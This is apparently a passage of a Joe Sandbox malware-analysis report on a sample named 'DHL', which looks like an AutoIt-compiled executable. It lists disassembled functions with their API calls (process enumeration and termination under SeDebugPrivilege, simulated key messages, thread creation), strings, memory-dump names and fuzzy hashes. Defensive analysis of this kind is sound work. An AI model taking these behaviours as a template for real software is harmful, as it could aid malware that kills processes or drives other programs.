PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00A02601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00A02605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00A0260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00A02623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00A02627

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: f5fc4c2a4d2cacb09fde515c783c773ec01470c14a3771ad3068200eb42e4673
Instruction ID: ab7ec1c9c153d2d9dfb5b83d77f83854def5b1150ab9dc458c539a45f8547e28
Opcode Fuzzy Hash: f5fc4c2a4d2cacb09fde515c783c773ec01470c14a3771ad3068200eb42e4673
Instruction Fuzzy Hash: 7B01D431390324BBFB10A7A89C8EF593F59DB4EB62F100011F318BE0D1C9E224459B69

Function 00A01803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00A01449,?,?,00000000), ref: 00A0180C
HeapAlloc.KERNEL32(00000000,?,00A01449,?,?,00000000), ref: 00A01813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00A01449,?,?,00000000), ref: 00A01828
GetCurrentProcess.KERNEL32(?,00000000,?,00A01449,?,?,00000000), ref: 00A01830
DuplicateHandle.KERNEL32(00000000,?,00A01449,?,?,00000000), ref: 00A01833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00A01449,?,?,00000000), ref: 00A01843
GetCurrentProcess.KERNEL32(00A01449,00000000,?,00A01449,?,?,00000000), ref: 00A0184B
DuplicateHandle.KERNEL32(00000000,?,00A01449,?,?,00000000), ref: 00A0184E
CreateThread.KERNEL32(00000000,00000000,00A01874,00000000,00000000,00000000), ref: 00A01868

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: ae942e935c58f69a8d79e6edf9585baec7c2f1f13731f0ccdc61e5099978ad02
Instruction ID: ecd668bbfdbd3e2f0d8af9d8dcc1246b3300288bf70acfe4f49b8e9e20680dc6
Opcode Fuzzy Hash: ae942e935c58f69a8d79e6edf9585baec7c2f1f13731f0ccdc61e5099978ad02
Instruction Fuzzy Hash: 4B01BBB5240308BFE750EBA5DC8DF6B7BACEB89B11F008511FA05EB1A1CA70D811DB20

Function 00A2A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00A0D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00A0D501
Part of subcall function 00A0D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00A0D50F
Part of subcall function 00A0D4DC: CloseHandle.KERNEL32(00000000), ref: 00A0D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A2A16D
GetLastError.KERNEL32 ref: 00A2A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A2A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00A2A268
GetLastError.KERNEL32(00000000), ref: 00A2A273
CloseHandle.KERNEL32(00000000), ref: 00A2A2C4

Strings

SeDebugPrivilege, xrefs: 00A2A18F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 7b1d0697e086dbcb8dee47f6c8422ed729446ec50e34c75a9d5a346e40d427ca
Instruction ID: 5a0a4ddcf33989ca041fc5a12fb822453e3278db56ac0e6370b74b040c508d8d
Opcode Fuzzy Hash: 7b1d0697e086dbcb8dee47f6c8422ed729446ec50e34c75a9d5a346e40d427ca
Instruction Fuzzy Hash: E3618D712042529FD720DF18D894F59BBE1AF55318F1884ACE4668F7A3C772EC46CB92

Function 00A33886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00A33925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00A3393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00A33954
_wcslen.LIBCMT ref: 00A33999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00A339C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00A339F4

Strings

SysListView32, xrefs: 00A338F7

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: aef8250fd5b28b22654af41b1ddeb3207e930394310232e0b8b5f06cf922aab8
Instruction ID: 927b2fcc3facf4448bf514b0908d89bf8ab784947d4bd9f91f69c5c2cef2d03a
Opcode Fuzzy Hash: aef8250fd5b28b22654af41b1ddeb3207e930394310232e0b8b5f06cf922aab8
Instruction Fuzzy Hash: 9741A272A04218ABEF21DF64CC45FEA7BA9FF48350F100526F958E7281D7759D80CB90

Function 00A0BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A0BCFD
IsMenu.USER32(00000000), ref: 00A0BD1D
CreatePopupMenu.USER32 ref: 00A0BD53
GetMenuItemCount.USER32(00D965C0), ref: 00A0BDA4
InsertMenuItemW.USER32(00D965C0,?,00000001,00000030), ref: 00A0BDCC

Strings

2, xrefs: 00A0BD37
0, xrefs: 00A0BCA8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 2981c632f711dde6b48c9619cd5e76bafda978f856bacec98e342ea843c501db
Instruction ID: 4099de78204a15429d2b67e0dd93da1d26ef37e4cd10fe03cb34f22073599c8f
Opcode Fuzzy Hash: 2981c632f711dde6b48c9619cd5e76bafda978f856bacec98e342ea843c501db
Instruction Fuzzy Hash: 0B518C70A1020EDBDF10DFA8EA88BAEFBF4AF45324F148259E411A72D1D770A941CB71

Function 00A0C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00A0C913

Strings

stop, xrefs: 00A0C8E4
question, xrefs: 00A0C8CC
warning, xrefs: 00A0C8FC
info, xrefs: 00A0C8B4
blank, xrefs: 00A0C895

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 44c9c358607a624d87db4f2526cb4917d93bdb4175da63c51515dbfad7107c38
Instruction ID: 464da0baf17081643ea4cfac6069c93f4bc5987558b3bc7bf8587f81c1877da4
Opcode Fuzzy Hash: 44c9c358607a624d87db4f2526cb4917d93bdb4175da63c51515dbfad7107c38
Instruction Fuzzy Hash: 9C110D3278930EBAE7159B54BC83EAA77BCDF15374B10452EF904A62C3D7705D005269

Function 00A0ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00A0ED2A
_wcslen.LIBCMT ref: 00A0ED3B
_wcslen.LIBCMT ref: 00A0ED79
_wcslen.LIBCMT ref: 00A0EDAF
_wcslen.LIBCMT ref: 00A0EDDF
_wcslen.LIBCMT ref: 00A0EDEF
_wcslen.LIBCMT ref: 00A0EE2B
_wcslen.LIBCMT ref: 00A0EE5A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: f71ef6f4ca4f39a9e63c3030d40513efb5c98400cac00b0d6d18d7a06f9a5da2
Instruction ID: 92849fa9186dfff8c9e6b2087383ca6983f9ad97b41f1d3609befacc854953a5
Opcode Fuzzy Hash: f71ef6f4ca4f39a9e63c3030d40513efb5c98400cac00b0d6d18d7a06f9a5da2
Instruction Fuzzy Hash: 9441A465D1011876DB11EBF4CC8AFCFB7A8AF85750F50886AE528E3161FB34E245C3A6

Function 009BF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,009F682C,00000004,00000000,00000000), ref: 009BF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,009F682C,00000004,00000000,00000000), ref: 009FF3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,009F682C,00000004,00000000,00000000), ref: 009FF454

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 57101e576131facc66bdf26e2ffe353f7096d3f795e1b860e83eca6b58354e73
Instruction ID: 8306055783defc0a8e1d6dc7762e2530c5452924b0acc044e48032fc3e216409
Opcode Fuzzy Hash: 57101e576131facc66bdf26e2ffe353f7096d3f795e1b860e83eca6b58354e73
Instruction Fuzzy Hash: B7412831208680FAC739CB2C8EB87BA7B99AF46370F14443CF18762560D675A881CB11

Function 00A32D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00A32D1B
GetDC.USER32(00000000), ref: 00A32D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A32D2E
ReleaseDC.USER32(00000000,00000000), ref: 00A32D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00A32D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00A32D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00A35A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00A32DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00A32DE1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 3ec6776d475f58e9e79015a52518f73d9d787a7f5a6e6e4e200ea3ef311d6417
Instruction ID: f66fc23632f7669f9323d3b4795692e572135b8906e85371a28141472f91145f
Opcode Fuzzy Hash: 3ec6776d475f58e9e79015a52518f73d9d787a7f5a6e6e4e200ea3ef311d6417
Instruction Fuzzy Hash: 4B318E72201214BFEB218F50CC8AFEB3FADEF09765F044055FE08AA291C6759C51CBA4

Function 00A05622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00A05637
_memcmp.LIBVCRUNTIME ref: 00A05659
_memcmp.LIBVCRUNTIME ref: 00A05671
_memcmp.LIBVCRUNTIME ref: 00A05684
_memcmp.LIBVCRUNTIME ref: 00A0569E
_memcmp.LIBVCRUNTIME ref: 00A056B1
_memcmp.LIBVCRUNTIME ref: 00A056C9
_memcmp.LIBVCRUNTIME ref: 00A056E4

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 2f626b5cc69f91280c9b2fcf1074ce00d87ce154cd156e6ef6cc5196771ddabf
Instruction ID: ac4f989ea892d40c6dd4562dd3160c76dbc5dee8bf163dbb077f90b77f7b5766
Opcode Fuzzy Hash: 2f626b5cc69f91280c9b2fcf1074ce00d87ce154cd156e6ef6cc5196771ddabf
Instruction Fuzzy Hash: 0D219871E50A0D7BD2145631AE82FBB335CBE62384F480424FD055A5C2F722ED108DA9

Function 00A24FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00A2502E, 00A25383
Not an Object type, xrefs: 00A25007

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 6b593dc231749d3f7c65cea71ed48395dc769f9881a7892476153a127d1efe69
Instruction ID: 30f37c7c786272f7a1cf052250d8ef2eb73c12b2d400c38d8f02b2b081ca93ab
Opcode Fuzzy Hash: 6b593dc231749d3f7c65cea71ed48395dc769f9881a7892476153a127d1efe69
Instruction Fuzzy Hash: F1D1C171E0061AAFDF14CFA8E890BAEB7B5BF48354F148179E915AB280E770DD41CB90

Function 009E1522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,009E17FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 009E15CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,009E17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 009E1651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,009E17FB,?,009E17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 009E16E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,009E17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 009E16FB

Part of subcall function 009D3820: RtlAllocateHeap.NTDLL(00000000,?,00A71444,?,009BFDF5,?,?,009AA976,00000010,00A71440,009A13FC,?,009A13C6,?,009A1129), ref: 009D3852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,009E17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 009E1777
__freea.LIBCMT ref: 009E17A2
__freea.LIBCMT ref: 009E17AE

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: dab7120e276b0c5c75f7e5409efb0ae9f21a836cd7580a3187d1e828a1b5078d
Instruction ID: cd3f08e5b0b838bdc9b74b5c175d252e859e972bbef51ffc073e3ac0ee25d896
Opcode Fuzzy Hash: dab7120e276b0c5c75f7e5409efb0ae9f21a836cd7580a3187d1e828a1b5078d
Instruction Fuzzy Hash: B891C571E002969ADF228FB6CC41EEEBBB9AF89710F184659F805E7141DB35DD80CB60

Function 00A24523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A24648
VariantInit.OLEAUT32(?), ref: 00A24749
VariantClear.OLEAUT32(?), ref: 00A24753
VariantClear.OLEAUT32(?), ref: 00A247B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00A2472C
Null Object assignment in FOR..IN loop, xrefs: 00A245D8, 00A24706, 00A247BE

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 0e2ab96bddb90a754c9c682f138577b7105d4add9f2cdac3aae999c6e99e388a
Instruction ID: dc46a393af85af0d9df9fc01d71ecb5d86b4595bb005c7ebd6349b3ac32aa7d4
Opcode Fuzzy Hash: 0e2ab96bddb90a754c9c682f138577b7105d4add9f2cdac3aae999c6e99e388a
Instruction Fuzzy Hash: A6917371A00225AFDF24CFA9DC44FAEBBB8EF4A714F108569F515AB280D7709945CFA0

Function 00A11187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00A1125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00A11284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00A112A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A112D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A1135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A113C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00A11430

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 0bf3b38cede13f6c6fd70599538718b3447a2e33e13a2864edec876375f00efd
Instruction ID: 27b77ac97bcf04511855b7da3bb0036b5561b33122dceacd7be9822e257ff064
Opcode Fuzzy Hash: 0bf3b38cede13f6c6fd70599538718b3447a2e33e13a2864edec876375f00efd
Instruction Fuzzy Hash: E1910475A00219AFDB00DFA8D884BFEB7B9FF45725F144029EA11EB291D774E981CB90

Function 009B948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 55a3e3e36dc234d14c8249fa94b0224f6c024f217a68f0a1f7996656c23cbf46
Instruction ID: 4040ed1644ab6406c66dcf2451ac0e9923409614ea03c73f55910e63281e309e
Opcode Fuzzy Hash: 55a3e3e36dc234d14c8249fa94b0224f6c024f217a68f0a1f7996656c23cbf46
Instruction Fuzzy Hash: 9D913771D44219EFCB14CFA9CD84AEEBBB8FF49320F144459EA15B7251D378AA42CB60

Function 00A23947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A2396B
CharUpperBuffW.USER32(?,?), ref: 00A23A7A
_wcslen.LIBCMT ref: 00A23A8A
VariantClear.OLEAUT32(?), ref: 00A23C1F

Part of subcall function 00A10CDF: VariantInit.OLEAUT32(00000000), ref: 00A10D1F
Part of subcall function 00A10CDF: VariantCopy.OLEAUT32(?,?), ref: 00A10D28
Part of subcall function 00A10CDF: VariantClear.OLEAUT32(?), ref: 00A10D34

Strings

Incorrect Parameter format, xrefs: 00A239A6, 00A23BA1
AUTOIT.ERROR, xrefs: 00A23A80, 00A23A85

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: c4b197f049dfa23816ca774da6b8e9bc6755f3a58694a4a80f5c86c3f0fcb31b
Instruction ID: be38e727de22d6c4b7800fc8706879e5275cd8c270eb349d085e1265358644c9
Opcode Fuzzy Hash: c4b197f049dfa23816ca774da6b8e9bc6755f3a58694a4a80f5c86c3f0fcb31b
